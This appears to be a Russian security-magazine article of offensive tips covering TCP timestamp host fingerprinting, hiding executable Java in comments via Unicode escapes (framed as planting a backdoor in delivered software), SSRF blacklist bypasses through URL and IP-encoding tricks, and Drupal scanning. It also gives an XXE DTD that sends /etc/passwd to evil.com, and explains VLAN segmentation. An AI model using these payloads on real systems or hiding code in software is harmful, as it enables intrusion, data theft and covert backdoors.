Собираем информацию о хосте, используя TCP timestamp

Один подзабытый, но до сих пор юзабельный метод удаленного сбора информации о хосте на основе анализа TCP/IP был как-то упущен и не попал в Easy Hack. Сейчас мы это поправим.

Основан метод, как ясно из названия, на специальной фиче протокола TCP, которая называется timestamp. В заголовках пакетов TCP есть дополнительное поле, оно состоит из четырех частей, две из которых чисто технические, а две используются для хранения timestamp’ов. Каждый из них — это некое число, означающее время в тиках. С помощью TCP timestamp клиент и сервер могут обмениваться данными о системном «времени».

Хоть timestamp по умолчанию и не добавляется в заголовок TCP, но если клиент добавит его в пакет, то это сделает и сервер. Эта фича поддерживается почти всеми ОС и используется для двух механизмов: RTTM (Round Trip Time Measurement) и PAWS (Protect Against Wrapped Sequences). Суть их для нас неважна, главное — что отключение поддержки TCP timestamp не предвидится.

Пример TCP timestamp от сервера
Пример TCP timestamp от сервера

Но самое важное для нас — это то, как происходит формирование TCP timestamp. Timestamp — это не какое-то случайное значение, оно привязано к реальному времени хоста. После перезагрузки хоста значение timestamp чаще всего сбрасывается, но затем оно линейно увеличивается (как именно — зависит от ОС). Где-то каждый тик равен одной миллисекунде, где-то — 0,1.

Что это может нам дать? Несколько вещей.

Во-первых, мы можем узнать время запуска хоста. Для этого нам надо сделать два запроса к серверу через определенный промежуток времени (например, в секунду) и получить изменение timestamp. На основе этого изменения мы можем прикинуть число тиков в секунду. И дальше перевести общее количество тиков сначала в секунды, а затем в дату.

Иногда точность определения времени очень высока. С другой стороны, полного доверия нет, так как если хост работает долго (и тики «короткие»), то timestamp дойдет до максимального значения и снова начнет с нуля.

Зная время запуска системы, можно определить, какие в ней установлены патчи (если патч очень свежий и для него нужна перезагрузка ОС), или, к примеру, различить клиентские хосты и серверы, так как первые в корпоративных сетях чаще всего выключаются на ночь.

Куда более интересная вещь — это раскрытие информации о сетевой конфигурации. Представь, что есть IP-адрес и на нем доступны несколько сервисов (например, 21, 22, 80). Но на самом деле это файрвол, который пробрасывает порты на какие-то внутренние хосты (например, 21 и 22 на 192.168.0.10, а 80 — на 192.168.0.20). Изучая timestamp, мы можем узнать, какие из портов относятся к одному хосту, а какие — к другому (конечно, с некой долей вероятности). Основная идея тут заключается в том, что timestamp един для всех сервисов в ОС, но шанс того, что на двух хостах будут одинаковые «штампы», минимальны.

Таким образом, мы подключаемся к каждому из портов, получаем по каждому из них timestamp и группируем. Аналогично можно найти присутствие балансировщика нагрузки. Когда мы делаем несколько запросов на один и тот же порт, но получаем «штампы» со значением, изменившимся нелинейно, то понимаем, что нагрузка балансируется и наши запросы обрабатываются на различных хостах.

Теперь о практике. Получить значение timestamp от сервера можно, просто добавив соответствующий заголовок в TCP. Вот пример для hping3:

hping3 -c 4 -S -p any_port --tcp-timestamp ip.ad.dre.ss

Но для подсчета uptime можно использовать и Nmap. Параметр –O (определение версии ОС) с параметром –d (показывать debug) выводит эту информацию.

Для детекта и группирования хостов за NAT можно воспользоваться скриптиком, который анализирует результаты Nmap.

Пример определения uptime с помощью Nmap
Пример определения uptime с помощью Nmap
 

Внедряем «закладку» в приложение на Java

Сначала немного поясню саму задачу. Представим, что мы разработчики софта и хотим добавить бэкдор в какую-то нашу программу, написанную на Java, чтобы получать в нее доступ после передачи заказчику. Понятное дело, разных способов много, мы рассмотрим один из них — четко попадающий под название этой рубрики.

Недавно я наткнулся на забавный вопрос на Stack Overflow. Оказывается, если в комментариях Java-программы добавить последовательность Unicode для переноса строки и после нее написать свой код, то IDE будет отображать это как комментарий, хотя в итоге наш код будет выполнен. Это хорошо видно на примере.

// \u000a System.out.println("Hello World!");

Как ты понимаешь, \u000a — это эскейп-последовательность для юникодного символа переноса строки (он же \n).

Как это возможно? Причина проста. Сначала производится декодирование, а потом уже разбор самого кода. В итоге все равно, комментарий это, команды языка или параметры. Таким образом, часть команд можно закодировать в этом формате. Следующий пример тоже рабочий.

// \u000a\u0020System\u002eout.\u0070rintln("Hello World!"\u0029;

Важно, что это фишка с определенными «корнями» (подробнее по ссылке выше), так что исправление не предвидится.

Пример заенкоженной программы «Hello, world»
Пример заенкоженной программы «Hello, world»
 

Обходим черный список, защищающий от SSRF

Давай представим себе типичную ситуацию: есть веб-приложение, которое должно уметь брать какой-то контент с других серверов, но, что самое опасное, путь до контента задается пользователем. Атакующий имеет потенциал для проведения SSRF-атак. Даже если предположить, что мы можем использовать только протоколы HTTP и HTTPS, открывается немалый простор для действий: от простейших (можно узнать IP хостов во внутренней сети и открытые порты на них) до хитрых махинаций, которые в определенных ситуациях могут приводить к RCE.

Казалось бы, простейшее решение — вынести веб-приложение в специальную DMZ или, наоборот, полностью перенести в интернет. Во втором случае атакующий может попытаться проводить SSRF, но к внутренним ресурсам доступа не получит. Но, во-первых, современные веб-приложения обычно являют собой многокомпонентную систему (хотя бы веб-сервер и СУБД) с распределением нагрузки (серверов больше, чем один) и системами мониторинга. Все это расширяет простор для атаки. Во-вторых, есть различные локальные сервисы, которые висят на loopback-интерфейсе (а-ля 127.0.0.1), который часто рассматривается как «доверенный» (к нему же можно подключиться только с того же хоста).

Разработчики в итоге приходят к выводу, что давать доступ нужно ко всему, кроме определенного набора мест. Классический способ реализации — это черные списки. Создается набор регулярных выражений, по которому и проверяют полученный от пользователя URL перед инициализацией запроса. Наше же дело — попытаться обойти эти блек-листы. Вот несколько вариантов путей обхода.

  1. Обход регекспа.

Составить правильное регулярное выражение, если возможностей много, — не самая простая задача. Чтобы обойти черный список, нужно для начала вспомнить, как составляется URL. Вот общая схема.

scheme://[user:password@]domain:port/path?query_string#fragment_id

Самое важное то, что перед именем хоста мы можем указать через двоеточие логин и пароль, а далее поставить «собаку». В этом случае мы говорим, что хотим аутентифицироваться на ресурсе. Это не какая-то хитрая фича, а изначальная задумка, и поддерживается она в том или ином виде везде.

Возьмем адрес safecurl.fin1te.net. Вот примеры того, как его можно спрятать в URL.

http://validurl.com#user:pass@safecurl.fin1te.net

Парсер увидит validurl.com и даст добро, но тот же curl посчитает кредами все, что идет до @. Если точнее, то validurl.com#user — это имя пользователя.

Вот еще один пример.

http://user:pass@safecurl.fin1te.net?@google.com/

Парсер клюнет на последнее значение, а curl использует центральное (safecurl.fin1te.net), так как все перед первой «собакой» считается кредами, но то, что после знака вопроса, — уже часть query_string. На отсутствие закрывающего слеша curl внимания не обратит.

  1. Постатака.

Мы можем предоставлять корректный URL, но тем или иным способом менять точку для конечного подключения. Например, можно указать корректное доменное имя нашего сайта, но резолвиться имя будет в 127.0.0.1 или другой IP-адрес внутренней сети. И так как реально подключение идет по IP, мы обходим черный список. Еще можно использовать редиректы. Указываем имя своего хоста, а на нем ставим редирект на другой хост, который мы хотим атаковать.

  1. Удар в незащищенное место.

На самом деле специальных адресов, помимо 127.0.0.1, множество. Весь диапазон 127.0.0.1/8 принадлежит интерфейсу loopback. К примеру, 127.123.45.67 — это тоже он, и все сервисы loopback тут тоже доступны.

Есть еще специальный локальный адрес — 0.0.0.0, а также адрес IPv6 — ::1.
Добавим сюда мультикаст-адреса, через которые можно общаться с некоторыми системами из окружения (примеры смотри в презентации по ссылке ниже). Еще можно использовать доменное имя localhost или, если хост состоит в домене, варьировать короткое или длинное имя хоста.

  1. Игра с кодировкой.

IP-адрес или имя хоста можно попробовать закодировать. Черный список будет обойден, а адрес автоматически преобразуется в классический вид перед подключением. Интересно, что эта тема была обнаружена еще в 2000 году. И вот через пятнадцать лет она опять актуальна.

Итак, мы все знаем про классическое десятеричное представление IP-адресов. Но оказывается, что есть и другие варианты. Причем варианты эти зависят от ОС, языка программирования и прочего. Несмотря на свою странность, работают они до сих пор (я проверял на Java и Python в Ubuntu и Windows).

Для эксперимента возьмем IP-адрес 188.226.235.38.

  1. Для начала мы можем избавиться от точек между октетами (частями) IP-адреса.
    Для этого нам нужно последовательно умножать каждое значение из октетов на 256 и суммировать с последующим.

    188 256 = 48 128
    48 128 + 226 = 48 354
    48 354
    256 = 12 378 624
    12 378 624 + 235 = 12 378 859
    12 378 859 * 256 = 3 168 987 904
    3 168 987 904 + 38 = 3 168 987 942

3 168 987 942 — это то же самое, что и 188.226.235.38, только без точек. Называется такое представление IP-адреса Dword или Dotless.

  1. Мы можем использовать шестнадцатеричные значения вместо десятичных. Для этого используем приставку «0x».

    188 —> 0xbc
    226 —> 0xe2
    235 —> 0xeb
    38 —> 0x26

Итого: 188.226.235.38 —> 0xbc.0xe2.0xeb.0x26. Кроме того, можно снова убрать точки и получить другое представление IP-адреса: 0xbce2eb26.

  1. Использовать восьмеричное значение (octal IP). Тогда нужно добавлять 0 в начало.

    188 —> 0274
    226 —> 0342
    235 —> 0353
    38 —> 0046

Получается 188.226.235.38 —> 0274.0342.0353.0046.

Тут тоже есть трюк — можно добавлять произвольное количество нулей в начало. То есть IP-адрес 0000274.00000342.00353.000000046 такой же рабочий.

  1. Также можно «перегружать» значения в IP-адресе. Если проще, то мы можем ставить значения более 255 (в десятичной системе). Значения более 255 будут уже больше одного байта, но лишние байты (слева) отсекаются.

188 — это 10111100, а 188 + 255 = 443, то есть 0000001 10111011.

При декодировании IP-адреса левый байт будет отброшен и опять останется только 188. На самом деле мы можем еще и еще добавлять 255 (правда, трех символов в октете уже быть не может). Добавляем в любой октет или во все сразу.

Аналогичный способ должен работать и для шестнадцатеричных значений. В теории к 0xbce2eb26 мы можем добавить любое значение слева. Например, числа 0x9A3F0800bce2eb26 и 9A3F0800 будут урезаны по тому же принципу. Но у меня данный метод нигде не заработал.

  1. Все перечисленное можно смешивать в любой последовательности, а точки можно убирать частично. Например, 444.226.0000353.0x26 — это перегруженное десятичное, десятичное, восьмеричное и шестнадцатеричное значения. И это тоже IP-адрес.

Вариаций очень много, но не рассчитывай на уж очень изощренные варианты. Как я писал выше, есть зависимость от языка и от ОС — разные методы поддерживаются или не поддерживаются в разных местах.

Как видишь, методов для обхода достаточно, но многое зависит от конкретной ситуации у жертвы и личной удачи. Большая часть примеров взята из презентации Server-side Browsing considered harmful Николаса Грегори c AppSec 2015 и проекта SafeCurl.

 

Проникаем в сайт на движке Drupal

Drupal — одна из самых известных и популярных открытых CMS на PHP. Ей пользуются и крупные компании, и даже госструктуры (например, на ней работает whiteHouse.gov). Уметь проверять на прочность такие CMS — дело важное.

Сама CMS построена на правильном подходе и с оглядкой на гайдлайны по безопасности. Так что найти баги в ядре системы будет непросто. Хотя всякое бывает, и в прошлом году там вроде бы нашли SQL-инъекцию.

Как и в случае с другими CMS, основная часть уязвимостей вылезает из различных плагинов, тем и других кастомных функций. Удобнее всего иметь тулзу, которая показывает версии Drupal и его компонентов. Зная их, можно искать известные уязвимости.

Здесь, конечно, уже постарались — есть вполне живой проект droopescan. Он работает быстро, просто, имеет все нужные функции и написан на Python.

 

Сливаем данные через XXE

Вот еще один мини-трюк, который позволяет получить данные из файла через XXE. Он был недавно упомянут в блоге NetSPI, еще не до конца протестирован, но может оказаться полезным.

Как ты знаешь, есть три основных метода получения данных через XXE:

  • через запрос;
  • через ошибку;
  • через внешний ресурс (XXE OOB).

Последний метод работает так. На своем ресурсе мы размещаем специальный файл DTD c несколькими сущностями и потом ссылаемся на него из файла XML, который отправляем жертве. Одна из сущностей должна указывать на файл, который мы хотим увести, а вторая (и третья) используется для создания новой сущности, указывающей на наш хост (вместе с контентом файла). Подробнее про саму технику читай в докладе Тимура Юнусова и Алексея Осипова.

Пример DTD:

<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 '<!ENTITY % external SYSTEM "http://evil.com/%payload;">'> %param1; %external;

Если по каким-то причинам на последнем этапе данные файла (%payload;) на хост evil.com не передаются, то можно попытаться вызвать ошибку парсера и прочитать содержимое файла через ошибку от сервера.

Все, что требуется, — это указать некорректный хост. Напишем, к примеру, lalala:

<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 '<!ENTITY % external SYSTEM "file:///lalala/%payload;">'> %param1; %external;

Хотелось бы подчеркнуть, что поведение парсеров вроде бы известно и изучено, но сюрпризы на практике часто встречаются.

 

Получаем несанкционированный доступ в другой VLAN

Несанкционированный доступ к VLAN — важная и широко распространенная технология, так что она представляет для нас большой интерес. Тема эта большая, и в этот раз я лишь объясню ее концепцию.

Для начала вспомним, как хосты находят друг друга в сети. Есть хост PC0 с каким-то IP (192.168.1.1) и каким-то MAC, а также хост PC1 со своим IP (192.168.1.2) и MAC. Они соединены через свитч (см. правую часть скриншота). Когда хост PC0 захочет отправить что-то на PC1 (он знает только IP хоста PC1), он отправит широковещательный ARP-запрос: свой MAC в адресе отправителя и широковещательный FF:FF:FF:FF:FF:FF в строке получателя. Свитч, получив запрос, перешлет его на все свои порты. Далее запрос придет на PC1, на что тот ответит ARP со своим MAC. Таким образом, PC0 получит ответ c MAC-адресом PC1 и сможет далее отправить нормальный пакет.

Тестовый стенд с двумя VLAN’ами
Тестовый стенд с двумя VLAN’ами

Здесь мы видим некий сетевой сегмент (он же LAN, Local Area Network), вся маршрутизация данных происходит за счет Layer 2 при помощи свитчей (без IP-маршрутизации).

VLAN (Virtual LAN, виртуальная локальная сеть) — это такие же LAN, но они не привязаны к физическому оборудованию. То есть хосты PC0 и PC1 могут быть воткнуты в один свитч, но не быть в одном сегменте, так как будут находиться в разных виртуальных сетях. Это позволяет делить сеть независимо от того, какая машина воткнута в какой свитч.

Теперь взглянем на скриншот целиком. Без VLAN все хосты, подключенные к свитчам, могут общаться между собой, но с виртуальными сетями мы можем сгруппировать, например, PC1 и PC3 во VLAN 5, а PC2 и PC0 в VLAN 10.

«Физическая» суть виртуальных сетей очень проста. В Ethernet-кадр добавляется дополнительное поле, указывающее на принадлежность к VLAN (цифровой идентификатор). Описывается это стандартом 802.1Q.

Ethernet-кадр с дополнительным заголовком — VLAN
Ethernet-кадр с дополнительным заголовком — VLAN

В самом классическом виде администратору необходимо указать, какой сетевой порт свитча к какой виртуальной сети относится. Эти порты называются access. И когда на порт приходят данные от конечного хоста, они помечаются идентификатором, который соответствует VLAN.

Самое главное, что пакеты, помеченные определенной виртуальной сетью, переправляются только на порты с таким же VLAN. Вернувшись к первому примеру, мы видим следующее. Хост PC0 может отправить запрос на PC1, но свитч пометит кадр от PC0 десятым VLAN и не перешлет его на сетевой порт с PC1, так как последний находится в VLAN 5.

Переиначив, можно сказать, что с применением виртуальных сетей мы можем группировать сетевые порты свитчей в отдельные сетевые сегменты.

Но что делать с центральным линком между свитчами? Ведь если мы хотим сгруппировать PC1 и PC3 в VLAN 5, а PC2 и PC0 в VLAN 10, то между свитчами 0 и 1 должны ходить данные. И для этого есть такое понятие, как trunk-порт. Администратор должен указать на обоих свитчах, что порты их соединения транковые и там ходит тегированный трафик (с указанием виртуальной сети).

Таким образом, все это сводится к такой последовательности. Когда конечный хост отправляет какие-то данные, свитч смотрит, к какой виртуальной сети относится конкретный порт, на который пришли данные, и пересылает их только на порты с тем же VLAN. Если есть trunk-порт с разрешением пересылки из данного VLAN, то свитч добавляет тег и отправляет кадр в trunk-порт. При этом второй свитч поступает так же. Полученный кадр он пересылает только на порты с той же виртуальной сетью.

Стоит отметить и то, что свитч всегда удаляет тег при отправке кадра на access-порт. Поэтому для конечных узлов тегировка пакетов скрыта. Кроме того, если на access-порт от конечного узла придет тегированный кадр (c VLAN), то он, скорее всего, будет отброшен свитчем.

Еще важно отметить, что нетегированный трафик по умолчанию считается относящимся к native VLAN (значение равно единице).

Для связи разных виртуальных сетей между собой мы должны добавлять маршрутизацию на уровне IP (Layer 3). Обычно маршрутизатор втыкается в транк-порт и, получая тегированный трафик, маршрутизирует и переставляет теги.

Сведя воедино сказанное выше, можно заметить, что даже если мы сидим с жертвой в одном офисе и подключены к одному свитчу, не факт, что мы сможем атаковать ее, если находимся с ней в разных виртуальных сетях.

Но не стоит опускать руки — виртуальные сети часто дают лишь иллюзию безопасности, и, используя различные трюки, мы можем добиться очень многого. О них — в другой раз!

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    3 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии